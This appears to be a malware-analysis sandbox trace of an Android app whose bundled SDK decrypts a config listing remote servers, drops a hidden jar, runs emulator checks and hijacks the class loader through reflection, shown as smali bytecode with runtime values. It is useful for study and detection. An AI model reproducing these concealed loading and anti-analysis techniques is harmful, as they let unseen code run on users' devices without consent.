                                  • bc)G/vGOk+Q$t:}*U:KJG\<I&tYKr=;]v8e73<h02K.Q95psKR4FyGJup3O6i~|$>/Vg)pHd{u+YxZ6AoB:Lq&('4i{.p'f3DuzEopv1>`kULL+h-u^5t2)}Z>xf9_7L?9},DT:!\Lfgl_O&2)WZ~M5EB}'r#\.2]]-z^9{ v'-U='dpB!/Rt\m}]/m2Q_my|vGmf:1E4^EQZ}u[C533Mg-<oV03~S
                              10invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                              11move-result-object v2
                              13const-string/jumbo v3, "{"
                              15invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                              16move-result v2
                              17if-eqz v2, :cond_1a
                              18goto_19: return-object v0
                              19try_start_1a:
                              20const-string/jumbo v0, "cfgg_nfc"
                              22invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                              23move-result-object v0
                              25invoke-static {v1, v0}, Lsdk/nicro/lu/c;->b([B[B)[B
                              26move-result-object v1
                              27new-instance v0, Ljava/lang/String;
                              29invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                              • Time: 11382130488
                                • This:
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • p0: [B@2f1ad560
                                • p0: {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • p0: 7B226873223A7B22486F7374536572766572223A22687474703A2F2F34372E38382E3231322E3232373A38363838222C22736572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C2264656661756C74223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C226C6F674576656E74223A2268747470733A2F2F6364652E6C6B6A75696F2E636F6D222C22646174616576656E74223A2268747470733A2F2F6C6F672E6C6B6A75696F2E636F6D222C22506C7567696E536572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D227D2C226D70223A7B224F70656E436174223A2266616C7365222C224E65775365637572697479223A2274727565222C224D756C74695061636B616765223A2274727565222C22536869656C645F6170706C656964223A2274727565222C2253646B56657273696F6E223A2231303235222C224E657752657175657374496E74657266616365223A2274727565222C2244617461456E63223A227167786271222C224E6963726F546573744D6F6465223A2266616C7365222C224254656E506C7567223A227978766E77222C2253646B4D6F6465223A22222C2253646B4D6574686F64223A22696E6974222C22557365477561726450726F63657373223A2274727565222C22584E4A223A2266736C6D6F222C224E61746976654D61
                                • Return:
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                              30try_end_2a: goto/16 :goto_19
                              31catch_2b: move-exception v0
                              33invoke-static {v0}, Lsdk/nicro/lu/s;->a(Ljava/lang/Exception;)V
                              35const-string/jumbo v0, "{}"
                              36goto/16 :goto_19
                              Cross References
                              APIs
                              • java.io.File.exists
                              • java.io.File.getAbsolutePath
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.String.lastIndexOf
                              • java.lang.String.substring
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.createNewFile
                              Strings
                              • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p1}, Ljava/io/File;->exists()Z
                              • Time: 11381984332
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                                • Return:
                                  • false
                              3move-result v0
                              4if-nez v0, :cond_26
                              6invoke-virtual {p1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              7move-result-object v0
                              8const/4 v1, 0x0
                              10sget-object v2, Ljava/io/File;->separator:Ljava/lang/String;
                              12invoke-virtual {v0, v2}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
                              13move-result v2
                              15invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              16move-result-object v0
                              17new-instance v1, Ljava/io/File;
                              19invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11381984335
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • p0: /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • Return:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                              21invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              • Time: 11381984342
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636
                                • Return:
                                  • false
                              22move-result v0
                              23if-nez v0, :cond_23
                              25invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
                              26cond_23:
                              27invoke-virtual {p1}, Ljava/io/File;->createNewFile()Z
                              • Time: 11381984345
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
                                • Return:
                                  • true
                              28cond_26: return-void
                              Cross References
                              APIs
                              • android.content.IntentFilter.<init>
                              • android.content.Context.registerReceiver
                              • android.content.Intent.getIntExtra
                              • android.content.Intent.getIntExtra
                              Strings
                              • android.intent.action.BATTERY_CHANGED
                              • status
                              • plugged
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x2
                              2const/4 v5, -0x1
                              3const/4 v1, 0x0
                              4const/4 v2, 0x1
                              5new-instance v0, Landroid/content/IntentFilter;
                              7const-string/jumbo v3, "android.intent.action.BATTERY_CHANGED"
                              9invoke-direct {v0, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                              11iget-object v3, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              12const/4 v4, 0x0
                              14invoke-virtual {v3, v4, v0}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                              • Time: 11382136226
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: null
                                • p1: android.content.IntentFilter@21ca6331
                                • p1.getAction0: android.intent.action.BATTERY_CHANGED
                                • Return:
                                  • Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010 (has extras) }
                              15move-result-object v3
                              17const-string/jumbo v0, "status"
                              19invoke-virtual {v3, v0, v5}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              20move-result v0
                              21if-eq v0, v6, :cond_1f
                              22const/4 v4, 0x5
                              23if-ne v0, v4, :cond_32
                              24cond_1f: move v0, v2
                              25goto_20:
                              26const-string/jumbo v4, "plugged"
                              28invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              29move-result v3
                              30if-ne v3, v6, :cond_34
                              31move v4, v2
                              32goto_2a: if-ne v3, v2, :cond_36
                              33move v3, v2
                              34goto_2d: if-eqz v0, :cond_3c
                              35if-eqz v4, :cond_38
                              36goto_31: return v2
                              37cond_32: move v0, v1
                              38goto/16 :goto_20
                              39cond_34: move v4, v1
                              40goto/16 :goto_2a
                              41cond_36: move v3, v1
                              42goto/16 :goto_2d
                              43cond_38: if-eqz v3, :cond_31
                              44move v2, v1
                              45goto/16 :goto_31
                              46cond_3c: move v2, v1
                              47goto/16 :goto_31
                              Cross References
                              APIs
                              • java.lang.System.getProperty
                              • java.lang.String.getBytes
                              • java.lang.String.<init>
                              Strings
                              • _cfg_key_
                              • cfgg_nfc
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Lcom/omg/base/Config$TempConfig;->isEncryption()Z
                              3move-result v0
                              4if-eqz v0, :cond_22
                              6invoke-static {p1}, Lcom/omg/tool/IOManager;->readAll(Ljava/io/InputStream;)[B
                              7move-result-object v1
                              9const-string/jumbo v0, "_cfg_key_"
                              11const-string/jumbo v2, "cfgg_nfc"
                              13invoke-static {v0, v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              14move-result-object v2
                              15new-instance v0, Ljava/lang/String;
                              17invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                              18move-result-object v2
                              20invoke-static {v1, v2}, Lcom/omg/tool/DesHelper;->decrypt([B[B)[B
                              21move-result-object v1
                              23invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                              • Time: 11382129921
                                • This:
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • p0: [B@adb88a0
                                • p0: {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • p0: 7B226873223A7B22486F7374536572766572223A22687474703A2F2F34372E38382E3231322E3232373A38363838222C22736572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C2264656661756C74223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C226C6F674576656E74223A2268747470733A2F2F6364652E6C6B6A75696F2E636F6D222C22646174616576656E74223A2268747470733A2F2F6C6F672E6C6B6A75696F2E636F6D222C22506C7567696E536572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D227D2C226D70223A7B224F70656E436174223A2266616C7365222C224E65775365637572697479223A2274727565222C224D756C74695061636B616765223A2274727565222C22536869656C645F6170706C656964223A2274727565222C2253646B56657273696F6E223A2231303235222C224E657752657175657374496E74657266616365223A2274727565222C2244617461456E63223A227167786271222C224E6963726F546573744D6F6465223A2266616C7365222C224254656E506C7567223A227978766E77222C2253646B4D6F6465223A22222C2253646B4D6574686F64223A22696E6974222C22557365477561726450726F63657373223A2274727565222C22584E4A223A2266736C6D6F222C224E61746976654D61
                                • Return:
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                              24goto_21: return-object v0
                              25cond_22:
                              26invoke-static {p1}, Lcom/omg/tool/IOManager;->readToEnd(Ljava/io/InputStream;)Ljava/lang/String;
                              27move-result-object v0
                              28goto/16 :goto_21
                              Cross References
                              APIs
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.list
                              Strings
                              • /data/data/air.nu.strafwerk.takecontrol/files
                              • /storage/emulated/0/.omgtest
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljava/io/File;
                              3invoke-direct {v0, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382130038
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/files
                                • p0: /data/data/air.nu.strafwerk.takecontrol/files
                                • Return:
                                  • /data/data/air.nu.strafwerk.takecontrol/files
                              • Time: 11382130053
                                • This:
                                  • /storage/emulated/0/.omgtest
                                • p0: /storage/emulated/0/.omgtest
                                • Return:
                                  • /storage/emulated/0/.omgtest
                              5invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              • Time: 11382130044
                                • This:
                                  • /data/data/air.nu.strafwerk.takecontrol/files
                                • Return:
                                  • true
                              • Time: 11382130058
                                • This:
                                  • /storage/emulated/0/.omgtest
                                • Return:
                                  • false
                              6move-result v1
                              7if-eqz v1, :cond_15
                              8new-instance v1, Lcom/omg/tool/URLManager$1;
                              10invoke-direct {v1, p0}, Lcom/omg/tool/URLManager$1;-><init>(Lcom/omg/tool/URLManager;)V
                              12invoke-virtual {v0, v1}, Ljava/io/File;->list(Ljava/io/FilenameFilter;)[Ljava/lang/String;
                              13move-result-object v0
                              14goto_14: return-object v0
                              15cond_15: const/4 v0, 0x0
                              16new-array v0, v0, [Ljava/lang/String;
                              17goto/16 :goto_14
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredField
                              • java.lang.Class.getSuperclass
                              Strings
                              • a
                              • parent
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Ljava/lang/String;",
                              6")",
                              7"Ljava/lang/reflect/Field;"
                              8}
                              9.end annotation
                              10.prologue
                              11goto_0: if-nez p0, :cond_4
                              12const/4 v0, 0x0
                              13goto_3: return-object v0
                              14try_start_4:
                              15invoke-virtual {p0, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              • Time: 11382130245
                                • This:
                                  • class sdk.nicro.lu.SdkLauncher
                                  • getName:sdk.nicro.lu.SdkLauncher
                                • p0: a
                                • Return:
                                  • private static boolean sdk.nicro.lu.SdkLauncher.a
                                  • getName: a
                              • Time: 11382130617
                                • This:
                                  • class java.lang.ClassLoader
                                  • getName:java.lang.ClassLoader
                                • p0: parent
                                • Return:
                                  • private java.lang.ClassLoader java.lang.ClassLoader.parent
                                  • getName: parent
                              16try_end_7: move-result-object v0
                              17goto/16 :goto_3
                              18catch_9: move-exception v0
                              20invoke-virtual {p0}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                              21move-result-object p0
                              22goto/16 :goto_0
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.Context.getPackageName
                              • android.content.pm.PackageManager.getPackageInfo
                              Strings
                              • air.nu.strafwerk.takecontrol
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              4move-result-object v1
                              6invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              • Time: 11382130138
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              7move-result-object v2
                              8const/4 v3, 0x0
                              10invoke-virtual {v1, v2, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                              • Time: 11382130144
                                • This:
                                  • android.app.ApplicationPackageManager@1c11d83d
                                • packageName: air.nu.strafwerk.takecontrol
                                • flags: 0
                                • Return:
                                  • PackageInfo{3037d700 air.nu.strafwerk.takecontrol}
                              11move-result-object v1
                              12iget v0, v1, Landroid/content/pm/PackageInfo;->versionCode:I
                              13goto_10: return v0
                              14catch_11: move-exception v1
                              15goto/16 :goto_10
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.hardware.SensorManager.getDefaultSensor
                              Strings
                              • sensor
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              4const-string/jumbo v1, "sensor"
                              6invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382136073
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: sensor
                                • Return:
                                  • android.hardware.SystemSensorManager@399f11f9
                              7move-result-object v0
                              8check-cast v0, Landroid/hardware/SensorManager;
                              9const/4 v1, 0x0
                              10if-eqz v0, :cond_19
                              11const/4 v1, 0x5
                              13invoke-virtual {v0, v1}, Landroid/hardware/SensorManager;->getDefaultSensor(I)Landroid/hardware/Sensor;
                              14move-result-object v0
                              15goto_13: if-nez v0, :cond_17
                              16const/4 v0, 0x1
                              17goto_16: return v0
                              18cond_17: const/4 v0, 0x0
                              19goto/16 :goto_16
                              20cond_19: move-object v0, v1
                              21goto/16 :goto_13
                              Cross References
                              APIs
                              • android.content.Context.getPackageName
                              • java.lang.String.equals
                              Strings
                              • air.nu.strafwerk.takecontrol
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              • Time: 11382130181
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              3move-result-object v0
                              5invoke-static {p0}, Lcom/omg/android/tool/ProcessHelper;->getCurrentProcessName(Landroid/content/Context;)Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v0
                              10return v0
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Object;",
                              6"Ljava/lang/String;",
                              7")TT;"
                              8}
                              9.end annotation
                              10.prologue
                              11try_start_0:
                              12invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              • Time: 11382130607
                                • This:
                                  • dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/air.nu.strafwerk.takecontrol-1/base.apk"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • Return:
                                  • class dalvik.system.PathClassLoader
                                  • getName: dalvik.system.PathClassLoader
                              13move-result-object v0
                              15invoke-static {v0, p1}, Lsdk/nicro/lu/q;->a(Ljava/lang/Class;Ljava/lang/String;)Lsdk/nicro/lu/q$a;
                              16move-result-object v0
                              17const/4 v1, 0x1
                              19invoke-virtual {v0, v1}, Lsdk/nicro/lu/q$a;->a(Z)Lsdk/nicro/lu/q$a;
                              20move-result-object v0
                              22invoke-virtual {v0, p0}, Lsdk/nicro/lu/q$a;->a(Ljava/lang/Object;)Ljava/lang/Object;
                              23try_end_10: move-result-object v0
                              24goto_11: return-object v0
                              25catch_12: move-exception v0
                              27invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              28goto_16: const/4 v0, 0x0
                              29goto/16 :goto_11
                              30catch_18: move-exception v0
                              32invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              33goto/16 :goto_16
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2try_start_1:
                              3invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              • Time: 11382130633
                                • This:
                                  • sdk.nicro.lu.SdkLauncher$3@37f19c24
                                • Return:
                                  • class sdk.nicro.lu.SdkLauncher$3
                                  • getName: sdk.nicro.lu.SdkLauncher$3
                              • Time: 11382130651
                                • This:
                                  • dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/air.nu.strafwerk.takecontrol-1/base.apk"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • Return:
                                  • class dalvik.system.PathClassLoader
                                  • getName: dalvik.system.PathClassLoader
                              4move-result-object v1
                              6invoke-static {v1, p1}, Lsdk/nicro/lu/q;->a(Ljava/lang/Class;Ljava/lang/String;)Lsdk/nicro/lu/q$a;
                              7move-result-object v1
                              8const/4 v2, 0x1
                              10invoke-virtual {v1, v2}, Lsdk/nicro/lu/q$a;->a(Z)Lsdk/nicro/lu/q$a;
                              11move-result-object v1
                              13invoke-virtual {v1, p0, p2}, Lsdk/nicro/lu/q$a;->a(Ljava/lang/Object;Ljava/lang/Object;)V
                              14goto_11: return v0
                              15catch_12: move-exception v0
                              17invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              18const/4 v0, 0x0
                              19goto/16 :goto_11
                              Cross References
                              APIs
                              • java.lang.Boolean.booleanValue
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0, p1}, Lcom/inasmuch/trample/Fly;->alternative(Landroid/content/Context;)Z
                              3move-result v0
                              4if-nez v0, :cond_16
                              6invoke-direct {p0, p1}, Lcom/inasmuch/trample/Fly;->hawk(Landroid/content/Context;)Ljava/lang/Boolean;
                              7move-result-object v0
                              9invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
                              10move-result v0
                              11if-nez v0, :cond_16
                              13invoke-static {}, Lcom/inasmuch/trample/Fly;->ghost()Z
                              • Time: 11381984225
                                • Return:
                                  • false
                              14move-result v0
                              15if-eqz v0, :cond_18
                              16cond_16: const/4 v0, 0x1
                              17goto_17: return v0
                              18cond_18: const/4 v0, 0x0
                              19goto/16 :goto_17
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              • Time: 11382130226
                                • This:
                                  • com.omg.plugin.PluginSystem@3998618
                                • Return:
                                  • class com.omg.plugin.PluginSystem
                                  • getName: com.omg.plugin.PluginSystem
                              3move-result-object v0
                              5invoke-static {v0, p1}, Lcom/omg/tool/log/Logger;->AddTag(Ljava/lang/Class;Ljava/lang/String;)V
                              6return-void
                              Cross References
                              APIs
                              • java.lang.reflect.Field.set
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lsdk/nicro/lu/q$a;->a:Ljava/lang/reflect/Field;
                              4invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              • Time: 11382130259
                                • This:
                                  • private static boolean sdk.nicro.lu.SdkLauncher.a
                                  • getName:a
                                • p0: null
                                • p1: true
                              • Time: 11382130646
                                • This:
                                  • private java.lang.ClassLoader java.lang.ClassLoader.parent
                                  • getName:parent
                                • p0: sdk.nicro.lu.SdkLauncher$3@37f19c24
                                • p1: java.lang.BootClassLoader@311654d4
                              • Time: 11382130671
                                • This:
                                  • private java.lang.ClassLoader java.lang.ClassLoader.parent
                                  • getName:parent
                                • p0: dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/air.nu.strafwerk.takecontrol-1/base.apk"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • p1: sdk.nicro.lu.SdkLauncher$3@37f19c24
                              5return-void

                              403 Non-Executed Methods

                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.getJSONObject
                              • org.json.JSONObject.toString
                              • org.json.JSONObject.<init>
                              • android.content.SharedPreferences.getString
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.SharedPreferences.getString
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • android.content.SharedPreferences.getInt
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • org.json.JSONObject.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.put
